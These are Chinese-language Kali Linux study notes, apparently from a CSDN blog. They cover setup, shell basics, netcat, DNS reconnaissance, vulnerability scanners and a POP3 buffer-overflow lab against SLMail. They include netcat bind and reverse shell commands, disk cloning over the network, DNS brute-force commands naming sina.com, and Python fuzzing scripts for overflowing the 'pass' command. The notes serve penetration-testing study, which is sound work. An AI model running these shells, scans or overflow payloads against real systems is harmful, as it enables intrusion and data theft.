一:安装kali
sudo 加命令以root权限运行
reboot重启 shutdown -h now 关机
1.更改用户
第一步:sudo passwd root
第二步:输入原密码(kali)确认
第三步:输入新的密码,再输入确认最后reboot重启就是了,
登录就用root+密码
账户1:kali kali(普通账户) 账户2:root admin (root账户)
2.换源和更新
1.vim/etc/apt/sources.list进入vim编辑器添加源
2.若保存出现权限问题使用wq!保存
3.换源之后输入:apt-get update && apt-get upgrade && apt-get clean更新源和更新软件
3.汉化
1.终端输入apt-get install xfonts-intl-chinese ttf-wqy-microhei 安装中文字体(换源后才可以下载字体)
2.更换编码格式dpkg-reconfigure locales(root用户)进入图形化界面之后,(空格是选择,Tab是切换,带*是选中),选中zh_CN.UTF-8,确定后,将zh_CN.UTF-8选为默认。
3.终端输入:reboot重启 系统,到登录界面,右上角语言列表注意是否为zh_CN.utf8,点开列表,确定选中的为中文-中国(若出现部分更改,重启,重启可以解决很多问题)
4.安装输入法
1.apt-get update
2.apt-get install fcitx
3.apt-get install fcitx-googlepinyin
然后重启,就会出现新的输入法,不用再像原先的一样需要配置,点击右上角输入法就可以切换,也可以自己配置快捷键。
5.快捷启动终端设置
在2020.1里,不在有gnome-terminal命令启动终端:
现在采取的是xfce4-命令启动终端,
在设置中找到————>>键盘————>> 添加,输入xfce4-terminal
文档参考:https://blog.csdn.net/Jack0610/article/details/103931466?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
二:熟悉环境
1.熟悉bash命令
ls:列出当前目录等同于win下dir
kali使用bshell默认情况下 :
蓝色表示目录 白色表示普通文件 绿色表示可执行文件 红色表示压缩文件
-l 以长文件显示 第一列首字母d表示目录 c表示设备文件 l表示连接 -表示文件 b表示快
-a 显示隐藏文件
-h 以易于阅读方式显示
–sort 排序 =time =size按大小排序
cd:进入目录 同于win cd
.进入当前目录
…当前目录上级目录
pwd:查看当前工作目录 ~表示用户主目录(root目录)
cat /路径:显示文本类型全部内容
more/路径:根据当前窗口显示文件内容,只显示一页,逐屏查看
less/路径:类似于more
tail/路径:默认显示文件最后十行 -行数
watch -n number 命令:没number秒执行一次后边的命令
rm 文件名:删除文件
-r:删除目录
cp 文件名 【新文件名】:复制文件
-r:复制目录/
pid:查看进程
kill 进程:杀掉进程
q:退出pid
ps:查看进程
-ef
aux
grep:筛选输出内容 加强版eqrep
ifconfig 网卡 up/down:开启/关闭网卡
netstat -pantu:查看和本机产生tcp udp的地址连接
实例:netstat -pantu |egrep -v ‘0.0.0.0|:::’|awk ‘{print $5}’|egrep -v ‘and |Address’
|cut -d ‘:’ -f 1|sort |uniq >ip
注:|管道 awk截取列 cut截取:号后第一个 sort排序 uniq输出
route
mount:挂载目录 挂载文件
-o loop 文件名.iso /目录 将iso文件挂载到指定目录
dmesg:功能类似与tail,缺省目录
find:查找文件目录
-name 查找文件名称 /表示根目录
-iname 查找相似文件名称目录
*通配符
whereis:与find功能相同,结果少,速度快,查找包管理区域
-b 文件名:查找二进制文件
echo:显示写入命令
2.vim 文本编辑器基本操作
进入vim:vim 文件名 或vi进入文本编辑器
编辑:按下 i 建
退出:1.按下esc建
2.按下shift + :
3.保存退出:wq 不保存退出q! 强制保存退出wq!
i进入编辑模式
esc退回到命令模式下
dd命令模式下删除行
o命令模式下插入行
y命令模式下复制行
p命令模式下粘贴行
a添加
3.管道
管道符 :
|:竖符 前边命令作为后边命令的输入
&: 前后两依次执行
&&:如果前边执行错误则不执行后边,成功执行后边命令
||:如果前边执行错误则执行后边,成功不执行后边命令
4.Shell脚本
#!bin/bash 文件起始行 表示文件解释方式
三:kali工作环境优化
1.网络配置
临时ip地址(重启失效)
dhclient eth0:自动获取ip地址
ifconfig eth0 ip:指定ip地址
route add default gw 网关ip:指定网关
echo nameserver ip地址 >/etc/resolv.conf:更改dns地址
固定ip地址
cat/etc/network/interface 网卡配置文件
address:IP地址
netmask:子网掩码
gateway:网关
network:网络地址
broadcast:广播地址
dns-nameservers:dns地址
2.环境配置
四:基本工具
1.netcat
base64命令:base64 要编码内容 crtl+d
实现telnet功能
-v:显示详细信息内容
-n ip地址 端口:进行域名解析
传输文本信息
其中一台需要打开一个端口,另一台作为客户机来连接
主机A:nc -l -p 端口 主机B:nc -nv ip 端口
-l 打开并侦听端口 -p 指定端口号
netstat -pantu | grep 333
-q numbert:执行后number秒后退出
输出<输入
传输目录
发送端:tar -cvf - 目录|nc -lp 端口 -q 1
接收端:nc -nv IP地址 端口|tar -xvf -
传输加密文件
A:nc -lp 333|mcrypt --flush -Fbqd -a rijndael-256 -m ecb >1.mp4
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb <a.mp4 |nc -nv 1.1.1.1 333-q 1
流媒体服务
A:cat 1.mp4 |nc -lp 333
B:nc -nv 1.1.1.1 333 |mplayer -vo x11 -cache 3000-
端口扫描
-z:扫描端口
-u:探测udp端口
nc -nvz ip地址 1-65535
nc -nvzu ip地址 1-1024
远程克隆硬盘
A:nc -lp 333|dd of =/dev/sda
B:dd if=/dev/sda|nc -nv 1.1.1.1 333 -q 1
dd:块级别硬盘复制命令
if:inputfile
远程控制
正向:
A:nc -lp 333 -c bash(被控端)
B:nc -nv 1.1.1.1 333
反向:
A:nc -lp 333
B:nc -nv 1.1.1.1 333 -c bash(被控端)
windows用户安装nc将bash改为cmd
-c bash 将shell传送给另一端
dns:53端口
nc-ncat加密远控
nc缺乏加密和身份验证能力
ncat包含于nmap工具包中
A:ncat -c bash -allow 192.168.43.182 -vnl 333 --ssl
B:ncat -nv 192.168.43.100 --ssl
不同系统/平台nc参数功能不尽相同2.wireshark
抓包嗅探协议分析
抓包引擎:libpcap-linux winpcap-windows
3.tcpdump
五:被动信息收集
信息收集:
fqdn:完全限定域名
递归查询 迭代查询
域名记录:a 主机记录 cname 别名记录 ptr 反向域名解析 mx邮件交换记录
nslookup
dns信息收集
dig
+noall +answer
-x反向查询
bind版本信息:txt chaos VERSION.BIND @ns.sina.com
追踪:+trace
区域传输:dig @ns1.example.com example.com
host -T -l sina.com ns3.sina.com
查看命令手册:
man
info
–help -h
dns字段爆破
fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt
dnsdict6 -d4 -t 16 -x sina.com
dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
dnsmap sina.com -w dns.txt
dnsreson -d sina.com --lifetime 10 -t brt -D dnsbig.txt
dnsreson -t std -d sina.com
dns注册信息
whois
whois -h whois.apnic.net 192.0.43.10
搜索引擎
shodan
net
city
country
port
os
hostname主机或域名
server
google
recon-ng
六:主动信息收集
1.发现
二层发现
arping
arping 1.1.1.1 -c 1
arping 1.1.1.1 -d检查同mac不同ip 检查arp欺骗
nmap
namp 192.168.1.1/24 -sn
netdiscover
主动:
netdiscover -i eth0 -r 1.1.1.0/24
netdiscover -i iplist.txt
被动:
netdiscover -p
scapy
apt-get install python3-gnuplot
函数名称必须大写()
sr1()发包
三层发现
icmp协议
traceroute
ping -r
hping3
四层发现
主机发现
scapy
nmap ip地址 -pu端口 -sn
ack发现 nmap ip地址 -pa端口 -sn
hping3
七:漏洞利用
nmap
root@kali:/usr/share/nmap/scripts# cat script.db |wc -l
smb-vuln-ms10-061.nse
共享打印机漏洞
nmap-p445–script=smb-enum-shares.nse–script-args=smbuser=admin,smbpassword=pass1.1.1.1
弱点扫描器
openvas
nessus项目分支
安装openvas
apt-get install openvas
配置安装openvas
openvas-setup
检查
openvas-check-setup
查看当前帐号
openvasmd–list-users
修改账号密码
openvasmd–users=admin–new-password=password
升级openvas
openvas-feed-update
启动openvas服务
openvas-start
Nessus
先下载
安装:
dpkg-i
安装路径:/opt/nessus
启动服务:
/etc/init.d/nessusd start
八:缓冲区溢出
windows
netstat既不是内部命令也不是外部命令
可能是当前路径无法访问这个命令所在的路径,即没有配置环境变量,如果配置了环境变量,在任何路径下都可以访问。
配置系统变量,Path变量中,添加“%SystemRoot%\system32;
重新打开cmd命令窗口(一定要重新打开,不然会没有效果)
netstat -ano
fuzzer
xp端软件
slmail5.5 mona.py Immunity Debugger
xp端
防火墙设置例外端口:smtp25 、pop3 110
icmp请求回显打开
kali端测试
nc 192.168.43.147 110 、nc 192.168.43.147 25
pop3 pass命令存在缓冲区溢出
win7以上安全防护机制:
dep:阻止代码从数据页被执行
aslr:随机内存地址加载执行程序和dll,每次重启地址变化
eip寄存器存放下一条指令的地址
Fuzzing py脚本
思路:将eip修改为shellcode代码内存地址,将shellcode写入给地址空间,程序读取eip寄存器数值,将跳转到shellcode代码段并执行
kali中python脚本可以使用vim或mousepad编辑器编辑,保存后属性修改权限为可执行
2.py
#!/usr/bin/python
import socket
buffer=[“A”]
counter=100
while len(buffer)<=50:
buffer.append(“B”*counter)
counter=counter+200
for string in buffer:
print “fuzzing pass with %s bytes” %len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((‘192.168.43.147’,110))
s.recv(1024)
s.send(‘user test’+’\r\n’)
s.recv(1024)
s.send(‘pass ‘+string+’\r\n’)
s.send(‘quit\r\n’)
s.close()
图片: https://uploader.shimo.im/f/vceG0VHfpUYnjcPJ.png
图片: https://uploader.shimo.im/f/AIKerQJcHd8s7i22.png
3.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer=‘A’*2700
try:
print “\nSending evil buffer…”
s.connect((‘192.168.43.147’,110))
date=s.recv(1024)
s.send(‘user test’+’\r\n’)
data=s.recv(1024)
s.send(‘pass ‘+buffer+’\r\n’)
print “\nDone!.”
except:
print “could not connect to pop3”
找到精确溢出的4个字节
二分法
4.py
rb脚本
唯一字串法:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer=‘Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9’
try:
print “\nSending evil buffer…”
s.connect((‘192.168.43.147’,110))
date=s.recv(1024)
s.send(‘user test’+’\r\n’)
data=s.recv(1024)
s.send(‘pass ‘+buffer+’\r\n’)
print “\nDone!.”
except:
print “could not connect to pop3”
图片: https://uploader.shimo.im/f/dcoqQfQP0sImNj4f.png
39694438倒序
十六进制 38 44 69 39=ascii 8di9
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
计算对应偏移量
图片: https://uploader.shimo.im/f/i5iBJYnztiUcs8sf.png
5.py
在esc中放入shellcode
python脚本:buffer=‘a’*2606+'b’4+‘c’(3500-2606-4)
计算出esp寄存器大小为416足够shellcode
7.py判断坏字符
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
返回地址、shellcode、buffer中都不能出现坏字符
null byte (0x00)空字符,用于终止字符串的拷贝操作
return(0x0D)回车操作,表示pop3pass命令输入完成
思路:发送0x00-0xff256个字符,查找所有坏字符
badchars=0-256(对应十六进制)
0A tab键 0D换行 00 null值
重定向数据流
用esp地址替换eip的值
但是esp地址变化随机产生,硬解码不可行
slmail线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
变通思路
在内存中寻找地址中固定的系统模块
在模块中寻找jmp esp指令的地址跳转,再由给指令间接跳转到esp,从而执行shellcode
mona.py脚本识别内存模块,搜索“return address”是jmp esp
mona.py需要使用python2.7及以上版本
来源:CSDN
作者:q20010619
链接:https://blog.csdn.net/q20010619/article/details/104777224